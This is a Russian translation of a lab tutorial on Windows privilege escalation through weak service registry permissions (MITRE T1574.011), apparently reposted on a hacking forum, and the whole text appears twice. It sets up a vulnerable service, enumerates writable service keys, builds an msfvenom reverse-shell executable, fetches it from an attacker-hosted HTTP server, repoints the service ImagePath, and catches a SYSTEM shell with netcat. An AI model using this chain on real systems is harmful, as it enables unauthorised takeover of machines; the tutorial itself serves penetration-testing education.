Microsoft Windows предлагает широкий спектр детализированных разрешений и привилегий для управления доступом к компонентам Windows, включая службы, файлы и записи реестра. Экслпуатация слабых прав реестра - это один из способов повышения привилегий.
Введение
Реестр Windows
Реестр - это системная база данных, в которой приложения и системные компоненты хранят и извлекают данные конфигурации. Реестр - это иерархическая база данных, содержащая данные, критически важные для работы Windows, а также приложений и служб, работающих в Windows.
1
Вы можете использовать редактор реестра для выполнения следующих действий:
- Найти поддерево, ключ, подключ или значение
- Добавить подраздел или значение
- Изменить значение
- Удалить подраздел или значение
- Переименовать подраздел или значение
Данные структурированы в древовидном формате. Каждый узел в дереве называется ключом. Каждый ключ может содержать как подключи, так и записи данных, называемые значениями.
Улей реестра
Улей - это логическая группа ключей, подключей и значений в реестре, которая имеет набор вспомогательных файлов, загружаемых в память при запуске операционной системы или входе пользователя в систему.
Примечание: Каждый раз, когда новый пользователь входит в систему на компьютере, для этого пользователя создается новый куст с отдельным файлом для профиля пользователя. Это называется кустом профиля пользователя. Улей пользователя содержит конкретную информацию реестра, относящуюся к настройкам приложения, рабочего стола, среды, сетевых подключений и принтеров пользователя. Кусты профиля пользователя расположены под ключом HKEY_USERS.
Большинство вспомогательных файлов для кустов находится в каталоге % SystemRoot%\System32\Config. Эти файлы обновляются каждый раз, когда пользователь входит в систему.
В следующей таблице перечислены стандартные кусты и их вспомогательные файлы.
Слабые права реестра
Перехватывая записи реестра, используемые службами, злоумышленники могут запускать свои вредоносные полезные нагрузки. Злоумышленники могут использовать слабые места в разрешениях реестра, чтобы переключиться с изначально заявленного исполняемого файла на тот, который они контролируют при запуске службы, что позволяет им выполнять свои неавторизованные вредоносные программы.
Mitre ID : T1574.011
Тактика: повышение привилегий и персистентность
Платформы: Windows
Требования
Целевая машина: Windows 10
Атакующий: Kali Linux
Инструменты: SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/) , PowerUP.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), Winpeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
Условие: скомпрометируйте целевую машину с помощью доступа с низким уровнем привилегий с помощью Metasploit или Netcat и т.д.
Цель: повысить привилегии до NT Authority/SYSTEM для пользователя с низкими привилегиями, используя слабый ключ реестра.
Лабораторный стенд
Шаг 1. Запустите CMD от имени администратора и выполните приведенную ниже команду, чтобы создать службу с именем Pentest в каталоге /temp.
sc.exe create pentest binPath= "C:\temp\service.exe"
Шаг 2: Чтобы создать уязвимую службу, нам нужно назначить некоторую токсичную привилегию с помощью SubinACL, чтобы изменить разрешение служб.
Шаг 3: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешений PTO для службы "Pentest".
cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTO
Windows хранит информацию о конфигурации локальной службы в реестре в разделе HKLM\SYSTEM\CurrentControlSet\ Services.
Шаг 4. Изучите путь реестра HKLM\SYSTEM\CurrentControlSet\Services\ pentest и измените разрешение для него.
Шаг 5: Разрешите ПОЛНЫЙ доступ пользователю.
Абузинг слабыми службами реестра
Получение уязвимых ключей реестра с помощью Accesschk.exe
Злоумышленник может повысить привилегии, эксплуатирую права слабого реестра, если у текущего пользователя есть разрешение на изменение ключей реестра, связанных со службой.
Следуя исходной точке опоры, мы можем запросить разрешения для ключей реестра служб с помощью инструмента Accesschk.exe от Sysinternals.
nc –lvp 1245
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services
В результате мы обнаружили, что доступ назначен аутентифицированному пользователю для раздела реестра "Pentest" с правами ALL.
С помощью следующей команды мы запрашиваем путь к образу для службы.
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pentest
Получение уязвимых ключей реестра с помощью Powershell
С помощью PowerShell вы проверяете список управления доступом (ACL), чтобы получить права пользователя, полный контроль над ключом реестра службы.
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl
Получение уязвимых ключей реестра с помощью WinPEASx64
Даже, используя автоматический скрипт WinPEASx64, мы получаем слабую службу реестра, что является еще одним методом пост-разведки для слабой конфигурации.
Создание вредоносного исполняемого файла
Если разрешения для пользователей и групп не установлены должным образом и не разрешают доступ к ключам реестра для службы, то злоумышленники могут изменить путь binPath/ImagePath службы так, чтобы он указывал на другой исполняемый файл, находящийся под их контролем.
Создайте исполняемую оболочку и установите ее на машину жертвы, затем измените ключ реестра службы на исполняемый файл, поскольку аутентифицированный пользователь имеет полный доступ к службе и, следовательно, имеет возможность изменить путь к образу для службы.
msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPServer 80
cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
reg add "HKLM\system\currentcontrolset\services\pentest" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f
net start pentest
Когда служба запускается или перезапускается, то программа, управляемая злоумышленником, будет выполняться, позволяя противнику получить персистенс и/или повышение привилегий до контекста учетной записи, в которой служба настроена для выполнения (локальная/доменная учетная запись, SYSTEM, LocalService или NetworkService).
Таким образом, как только служба запустится, злоумышленник получит реверс соединение в новом сеансе netcat как с правами NT Authority\SYSTEM
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-weak-registry-permission/
Введение
Реестр Windows
Реестр - это системная база данных, в которой приложения и системные компоненты хранят и извлекают данные конфигурации. Реестр - это иерархическая база данных, содержащая данные, критически важные для работы Windows, а также приложений и служб, работающих в Windows.
1
Вы можете использовать редактор реестра для выполнения следующих действий:
- Найти поддерево, ключ, подключ или значение
- Добавить подраздел или значение
- Изменить значение
- Удалить подраздел или значение
- Переименовать подраздел или значение
Данные структурированы в древовидном формате. Каждый узел в дереве называется ключом. Каждый ключ может содержать как подключи, так и записи данных, называемые значениями.
Улей реестра
Улей - это логическая группа ключей, подключей и значений в реестре, которая имеет набор вспомогательных файлов, загружаемых в память при запуске операционной системы или входе пользователя в систему.
Примечание: Каждый раз, когда новый пользователь входит в систему на компьютере, для этого пользователя создается новый куст с отдельным файлом для профиля пользователя. Это называется кустом профиля пользователя. Улей пользователя содержит конкретную информацию реестра, относящуюся к настройкам приложения, рабочего стола, среды, сетевых подключений и принтеров пользователя. Кусты профиля пользователя расположены под ключом HKEY_USERS.
Большинство вспомогательных файлов для кустов находится в каталоге % SystemRoot%\System32\Config. Эти файлы обновляются каждый раз, когда пользователь входит в систему.
В следующей таблице перечислены стандартные кусты и их вспомогательные файлы.
Слабые права реестра
Перехватывая записи реестра, используемые службами, злоумышленники могут запускать свои вредоносные полезные нагрузки. Злоумышленники могут использовать слабые места в разрешениях реестра, чтобы переключиться с изначально заявленного исполняемого файла на тот, который они контролируют при запуске службы, что позволяет им выполнять свои неавторизованные вредоносные программы.
Mitre ID : T1574.011
Тактика: повышение привилегий и персистентность
Платформы: Windows
Требования
Целевая машина: Windows 10
Атакующий: Kali Linux
Инструменты: SubinACL (https://windows-resource-kit-tools-subinacl-exe.software.informer.com/download/) , PowerUP.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1), Winpeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
Условие: скомпрометируйте целевую машину с помощью доступа с низким уровнем привилегий с помощью Metasploit или Netcat и т.д.
Цель: повысить привилегии до NT Authority/SYSTEM для пользователя с низкими привилегиями, используя слабый ключ реестра.
Лабораторный стенд
Шаг 1. Запустите CMD от имени администратора и выполните приведенную ниже команду, чтобы создать службу с именем Pentest в каталоге /temp.
sc.exe create pentest binPath= "C:\temp\service.exe"
Шаг 2: Чтобы создать уязвимую службу, нам нужно назначить некоторую токсичную привилегию с помощью SubinACL, чтобы изменить разрешение служб.
Шаг 3: После загрузки SubinACL выполните следующую команду, чтобы назначить пользователю ignite разрешений PTO для службы "Pentest".
cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTO
Windows хранит информацию о конфигурации локальной службы в реестре в разделе HKLM\SYSTEM\CurrentControlSet\ Services.
Шаг 4. Изучите путь реестра HKLM\SYSTEM\CurrentControlSet\Services\ pentest и измените разрешение для него.
Шаг 5: Разрешите ПОЛНЫЙ доступ пользователю.
Абузинг слабыми службами реестра
Получение уязвимых ключей реестра с помощью Accesschk.exe
Злоумышленник может повысить привилегии, эксплуатирую права слабого реестра, если у текущего пользователя есть разрешение на изменение ключей реестра, связанных со службой.
Следуя исходной точке опоры, мы можем запросить разрешения для ключей реестра служб с помощью инструмента Accesschk.exe от Sysinternals.
nc –lvp 1245
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services
В результате мы обнаружили, что доступ назначен аутентифицированному пользователю для раздела реестра "Pentest" с правами ALL.
С помощью следующей команды мы запрашиваем путь к образу для службы.
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pentest
Получение уязвимых ключей реестра с помощью Powershell
С помощью PowerShell вы проверяете список управления доступом (ACL), чтобы получить права пользователя, полный контроль над ключом реестра службы.
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl
Получение уязвимых ключей реестра с помощью WinPEASx64
Даже, используя автоматический скрипт WinPEASx64, мы получаем слабую службу реестра, что является еще одним методом пост-разведки для слабой конфигурации.
Создание вредоносного исполняемого файла
Если разрешения для пользователей и групп не установлены должным образом и не разрешают доступ к ключам реестра для службы, то злоумышленники могут изменить путь binPath/ImagePath службы так, чтобы он указывал на другой исполняемый файл, находящийся под их контролем.
Создайте исполняемую оболочку и установите ее на машину жертвы, затем измените ключ реестра службы на исполняемый файл, поскольку аутентифицированный пользователь имеет полный доступ к службе и, следовательно, имеет возможность изменить путь к образу для службы.
msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPServer 80
cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
reg add "HKLM\system\currentcontrolset\services\pentest" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f
net start pentest
Когда служба запускается или перезапускается, то программа, управляемая злоумышленником, будет выполняться, позволяя противнику получить персистенс и/или повышение привилегий до контекста учетной записи, в которой служба настроена для выполнения (локальная/доменная учетная запись, SYSTEM, LocalService или NetworkService).
Таким образом, как только служба запустится, злоумышленник получит реверс соединение в новом сеансе netcat как с правами NT Authority\SYSTEM
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-weak-registry-permission/